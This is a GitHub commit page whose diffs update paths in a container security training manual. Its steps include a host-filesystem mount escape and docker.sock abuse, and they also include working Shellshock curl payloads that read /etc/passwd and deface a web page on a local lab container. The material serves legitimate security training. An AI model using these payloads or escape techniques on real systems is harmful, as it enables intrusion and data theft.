Skip to content

Commit

Permalink
path changes in the manual
Browse files Browse the repository at this point in the history
  • Loading branch information
Tilak T authored and Tilak T committed Sep 28, 2018
1 parent 9d19cab commit 064c53f
Show file tree
Hide file tree
Showing 21 changed files with 190 additions and 98 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -10,27 +10,27 @@

##### Step 2:

* **cd** into `Labs/3.0.0-Container-Attacks/3.1.0`
* **cd** into `/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host`

```commandline
cd Labs/3.0.0-Container-Attacks/3.1.0
cd /home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host
```
##### Step 3:
* Run `sudo su` to become root user.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.1.0# sudo su
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0#
root@we45:~/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host# sudo su
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host#
```
##### Step 4:
* Create a `secret.txt` file inside `/root/` directory.
```commandline
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0# touch /root/secret.txt
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0#
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host# touch /root/secret.txt
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host#
```
##### Step 5:
Expand All @@ -41,8 +41,8 @@
2. `esc+:+wq` to save and exit from the file.
```commandline
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0# vim /root/secret.txt
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0#
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host# vim /root/secret.txt
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host#
```
Expand All @@ -51,16 +51,16 @@
* Run `sudo su user` login as a normal user.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.1.0# sudo su user
user@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0$
root@we45:~/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host# sudo su user
user@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host$
```
##### Step 7:
* Run `cat /root/secret.txt` read the content of secret.txt file.
```commandline
user@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0$ cat /root/secret.txt
user@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host$ cat /root/secret.txt
cat: /root/secret.txt: Permission denied
```
Expand All @@ -69,16 +69,16 @@
* Run `exit` to exit as a normal user
```commandline
user@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0$ exit
user@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host$ exit
exit
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0#
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host#
```
##### Step 9:
* Run `docker run -ti --rm -v /:/hostFS/ alpine` as `docker-user`(non-root user)
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.1.0# docker run -ti -v /:/hostFS/ alpine
root@we45:~/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host# docker run -ti -v /:/hostFS/ alpine
/ #
```
Expand Down Expand Up @@ -119,5 +119,5 @@ secret

```commandline
/hostFS/root # exit
root@we45:/home/we45/Labs/3.0.0-Container-Attacks/3.1.0#
root@we45:/home/we45/container_training/Container/Container-Attacks/Authentication-Attacks-against-Host#
```
Original file line number Diff line number Diff line change
Expand Up @@ -10,17 +10,17 @@

##### Step 2:

* **cd** into `Labs/3.0.0-Container-Attacks/3.2.0`
* **cd** into `/home/we45/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access`

```commandline
cd Labs/3.0.0-Container-Attacks/3.2.0
cd /home/we45/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access
```
##### Step 3:
* Run `docker run -d -v /var/run/docker.sock:/var/run/docker.sock --name vul_flask abhaybhargav/vul_flask` to start a docker container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.2.0# docker run -d -v /var/run/docker.sock:/var/run/docker.sock --name vul_flask abhaybhargav/vul_flask
root@we45:~/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access# docker run -d -v /var/run/docker.sock:/var/run/docker.sock --name vul_flask abhaybhargav/vul_flask
1681e86d567eaa2b7344cff0535819fffe8f3a786b4b768be3c95d9b40a4e71d
```
Expand All @@ -31,7 +31,7 @@
* Run `docker ps` to view, all running containers.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.2.0# docker ps
root@we45:~/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1681e86d567e abhaybhargav/vul_flask "python app.py" About a minute ago Up About a minute 5050/tcp vul_flask/tcp vul_flask
```
Expand All @@ -43,7 +43,7 @@
* Run `docker exec -it vul_flask bash` to exec into a running container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.2.0# docker exec -it vul_flask bash
root@we45:~/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access# docker exec -it vul_flask bash
root@1681e86d567e:/apps#
```
![](img/docker-exec.png)
Expand Down Expand Up @@ -182,7 +182,7 @@ secret
* Run `docker stop vul_flask` to stop the running container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.2.0# docker stop vul_flask
root@we45:~/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access# docker stop vul_flask
vul_flask
```
Expand All @@ -193,7 +193,7 @@ secret
* Run `docker rm vul_flask` to remove stopped container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.2.0# docker rm vul_flask
root@we45:~/container_training/Container/Container-Attacks/Docker-Daemon-Direct-Access# docker rm vul_flask
vul_flask
```
![](img/docker-rm.png)
20 changes: 10 additions & 10 deletions Container/Container-Attacks/Host-Network-Configuration/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,18 +8,18 @@

##### Step 2:

* **cd** into `Labs/3.0.0-Container-Attacks/3.5.0`
* **cd** into `/home/we45/container_training/Container/Container-Attacks/Host-Network-Configuration`

```commandline
cd Labs/3.0.0-Container-Attacks/3.5.0
cd /home/we45/container_training/Container/Container-Attacks/Host-Network-Configuration
```
##### Step 3:
* Check if `ufw` is enabled on the host machine by running `ufw status`
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# ufw status
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# ufw status
Status: inactive
```
Expand All @@ -28,7 +28,7 @@
* Enable `ufw` by running `ufw enable`
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# ufw enable
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# ufw enable
Firewall is active and enabled on system startup
```
Expand All @@ -37,7 +37,7 @@
* Run `docker run -d --privileged --net=host --name vul_flask abhaybhargav/vul_flask` to start a docker container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# docker run -d --privileged --net=host --name vul_flask abhaybhargav/vul_flask
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# docker run -d --privileged --net=host --name vul_flask abhaybhargav/vul_flask
6733abdce5042a90db8b7d40a08155470c727e8b3864eda519714e172f63be88
```
Expand All @@ -46,7 +46,7 @@
* Run `docker ps` to view, all running containers.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# docker ps
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d0169e5801fe abhaybhargav/vul_flask "python app.py" 24 seconds ago Up 22 seconds 5050/tcp vul_flask
```
Expand All @@ -58,7 +58,7 @@
* Run `docker exec -it vul_flask bash` to exec into a running container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# docker exec -it vul_flask bash
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# docker exec -it vul_flask bash
root@d0169e5801fe:/apps#
```
![](img/docker-exec.png)
Expand Down Expand Up @@ -226,7 +226,7 @@
* Run `ufw status` in the host machine to verity ufw is running or not.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# ufw status
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# ufw status
Status: inactive
```
Expand All @@ -235,7 +235,7 @@
* Run `docker stop vul_flask` to stop the running container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# docker stop vul_flask
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# docker stop vul_flask
vul_flask
```
Expand All @@ -244,6 +244,6 @@
* Run `docker rm vul_flask` to remove stopped container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.5.0# docker rm vul_flask
root@we45:~/container_training/Container/Container-Attacks/Host-Network-Configuration# docker rm vul_flask
vul_flask
```
Original file line number Diff line number Diff line change
Expand Up @@ -10,18 +10,18 @@

##### Step 2:

* **cd** into `Labs/3.0.0-Container-Attacks/3.7.0`
* **cd** into `/home/we45/container_training/Container/Container-Attacks/Vulnerable-Libraries-ShellShock`

```commandline
cd Labs/3.0.0-Container-Attacks/3.7.0
cd /home/we45/container_training/Container/Container-Attacks/Vulnerable-Libraries-ShellShock
```
##### Step 3:
* Run the image vulnerable to shell-shock `docker run -d -it -p 8080:80 vulnerables/cve-2014-6271`
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.7.0# docker run -d -it -p 8080:80 vulnerables/cve-2014-6271
root@we45:~/container_training/Container/Container-Attacks/Vulnerable-Libraries-ShellShock# docker run -d -it -p 8080:80 vulnerables/cve-2014-6271
208ee69b40e260c5605cde5faca67e0428c7fe80a237b5cd5767f9e2e734f03d
```
Expand All @@ -38,7 +38,7 @@
http://localhost:8080/cgi-bin/vulnerable` to exploit the vulnerability and access the `/etc/passwd` file on the vulnerable container.
```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.7.0# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
root@we45:~/container_training/Container/Container-Attacks/Vulnerable-Libraries-ShellShock# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
> http://localhost:8080/cgi-bin/vulnerable
root:x:0:0:root:/root:/bin/bash
Expand Down Expand Up @@ -68,7 +68,7 @@ libuuid:x:100:101::/var/lib/libuuid:/bin/sh
* Run `curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo \"<html><body><h1> DEFACED! ;) </h1></body></html>\" > /var/www/index.html'" http://localhost:8080/cgi-bin/vulnerable` to deface the website.

```commandline
root@we45:~/Labs/3.0.0-Container-Attacks/3.7.0# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo \"<html><body><h1> DEFACED! ;) </h1></body></html>\" > /var/www/index.html'" http://localhost:8080/cgi-bin/vulnerable
root@we45:~/container_training/Container/Container-Attacks/Vulnerable-Libraries-ShellShock# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo \"<html><body><h1> DEFACED! ;) </h1></body></html>\" > /var/www/index.html'" http://localhost:8080/cgi-bin/vulnerable
```

##### Step 7:
Expand Down
31 changes: 28 additions & 3 deletions Container/Container-Orchestrators/Docker-Compose/README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,30 @@
# Docker-Compose
## Docker-Compose

---
##### Step 1:
* Open terminal

##### Step1:
![](img/Open-Terminal.png)

##### Step 2:
* cd into Docker compose Lab Folder
* `cd /home/we45/container_training/Container/Container-Orchestrators/Docker-Compose`

```commandline
root@we45:~# cd /home/we45/container_training/Container/Container-Orchestrators/Docker-Composeroot@we45:~/container_training/Container/Container-Orchestrators/Docker-Compose#
```
##### Step 3:
* Run `docker-compose up -d`
```commandline
root@we45:~/container_training/Container/Container-Orchestrators/Docker-Compose# docker-compose up -d
Creating network "docker-compose_default" with the default driver
Creating docker-compose_helloworld_1 ... done
Creating docker-compose_nginx_1 ... done
```
##### Step 4:
* Open Browser and check the application status `http://localhost`
![](img/app-status.png)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
Expand Up @@ -8,18 +8,18 @@

##### Step 2:

* **cd** into `/home/we45/Labs/4.0.0-Container-Security-Deep-Dive/4.1.0`
* **cd** into `/home/we45/container_training/Container/Container-Security-Deep-Dive/Limiting-Docker-Capabilities`

```commandline
cd /home/we45/Labs/4.0.0-Container-Security-Deep-Dive/4.1.0
cd /home/we45/container_training/Container/Container-Security-Deep-Dive/Limiting-Docker-Capabilities
```
##### Step 3:
* Run `docker run -it alpine ping -c 1 localhost` to ping localhost network.
```commandline
root@we45:~/Labs/4.0.0-Container-Security-Deep-Dive/4.1.0# docker run -it alpine ping -c 1 localhost
root@we45:~/container_training/Container/Container-Security-Deep-Dive/Limiting-Docker-Capabilities# docker run -it alpine ping -c 1 localhost
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.054 ms
Expand All @@ -33,7 +33,7 @@
* Run `docker run --cap-drop=net_raw -it alpine ping -c 1 localhost` docker container and disable network syscall and ping into localhost.
```commandline
root@we45:~/Labs/4.0.0-Container-Security-Deep-Dive/4.1.0# docker run --cap-drop=net_raw -it alpine ping -c 1 localhost
root@we45:~/container_training/Container/Container-Security-Deep-Dive/Limiting-Docker-Capabilities# docker run --cap-drop=net_raw -it alpine ping -c 1 localhost
PING localhost (127.0.0.1): 56 data bytes
ping: permission denied (are you root?)
```
Expand All @@ -42,7 +42,7 @@
* Run `docker run --cap-drop=ALL --cap-add=net_raw -it alpine ping -c 1 localhost` docker container and disable all syscall and allow only network syscall and ping into localhost.
```commandline
root@we45:~/Labs/4.0.0-Container-Security-Deep-Dive/4.1.0# docker run --cap-drop=ALL --cap-add=net_raw -it alpine ping -c 1 localhost
root@we45:~/container_training/Container/Container-Security-Deep-Dive/Limiting-Docker-Capabilities# docker run --cap-drop=ALL --cap-add=net_raw -it alpine ping -c 1 localhost
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.061 ms
Expand Down
10 changes: 5 additions & 5 deletions Container/Container-Security-Deep-Dive/SecComp/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,26 +8,26 @@

##### Step 2:

* **cd** into `/home/we45/Labs/4.0.0-Container-Security-Deep-Dive/4.2.0`
* **cd** into `/home/we45/container_training/Container/Container-Security-Deep-Dive/SecComp`

```commandline
cd /home/we45/Labs/4.0.0-Container-Security-Deep-Dive/4.2.0
cd /home/we45/container_training/Container/Container-Security-Deep-Dive/SecComp
```
##### Step 3:
* Run `touch sec_comp_policy.json` create seccomp file
```commandline
root@we45:~/Labs/4.0.0-Container-Security-Deep-Dive/4.2.0# touch sec_comp_policy.json
root@we45:~/container_training/Container/Container-Security-Deep-Dive/SecComp# touch sec_comp_policy.json
```
##### Step 4:
* Run `atom .` to launch the atom IDE
```commandline
root@we45:~/Labs/4.0.0-Container-Security-Deep-Dive/4.2.0# atom .
root@we45:~/container_training/Container/Container-Security-Deep-Dive/SecComp# atom .
```
##### Step 5:
Expand Down Expand Up @@ -63,7 +63,7 @@
* Once saved the configuration run docker using `docker run -d --name=seccomp --security-opt seccomp:sec_comp_policy.json alpine`
```commandline
root@we45:~/Labs/4.0.0-Container-Security-Deep-Dive/4.2.0# docker run -d --security-opt seccomp:sec_comp_policy.json -p 5050:5050 abhaybhargav/vul_flask
root@we45:~/container_training/Container/Container-Security-Deep-Dive/SecComp# docker run -d --security-opt seccomp:sec_comp_policy.json -p 5050:5050 abhaybhargav/vul_flask
4509ec89cdd062725c8c0f454452e4abfc1f67cd6be2f8880148123c36c1182c
```
Expand Down
Loading

0 comments on commit 064c53f

Please sign in to comment.